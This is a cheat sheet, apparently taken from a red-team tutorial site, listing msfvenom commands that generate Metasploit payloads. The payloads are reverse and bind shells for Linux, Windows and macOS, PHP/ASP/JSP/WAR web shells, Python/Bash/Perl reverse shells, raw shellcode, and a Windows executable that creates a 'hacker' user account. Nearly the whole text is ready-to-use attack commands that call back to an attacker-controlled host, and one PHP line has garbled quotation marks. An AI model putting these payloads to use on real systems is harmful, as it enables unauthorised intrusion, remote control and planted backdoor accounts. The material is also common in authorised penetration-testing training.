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MSF Venom

msfvenom can be used to generate meterpreter payloads from the command line.

The below is from https://redteamtutorials.com/2018/10/24/msfvenom-cheatsheet/

List payloads

msfvenom -l

Binaries Payloads

Linux Meterpreter Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f elf > shell.elf

Linux Bind Meterpreter Shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > bind.elf

Linux Bind Shell

msfvenom -p generic/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > term.elf

Windows Meterpreter Reverse TCP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

Windows Reverse TCP Shell

msfvenom -p windows/shell/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

Windows Encoded Meterpreter Windows Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

Mac Reverse Shell

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f macho > shell.macho

Mac Bind Shell

msfvenom -p osx/x86/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f macho > bind.macho

Web Payloads

PHP Meterpreter Reverse TCP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.php
cat shell.php | pbcopy && echo ā€˜<?php ā€˜ | tr -d ā€˜\nā€™ > shell.php && pbpaste >> shell.php

ASP Meterpreter Reverse TCP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f asp > shell.asp

JSP Java Meterpreter Reverse TCP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f war > shell.war

Scripting Payloads

Python Reverse Shell

msfvenom -p cmd/unix/reverse_python LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.py

Bash Unix Reverse Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

Perl Unix Reverse shell

msfvenom -p cmd/unix/reverse_perl LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.pl

Shellcode

Windows Meterpreter Reverse TCP Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

Linux Meterpreter Reverse TCP Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

Mac Reverse TCP Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

Create User

msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe
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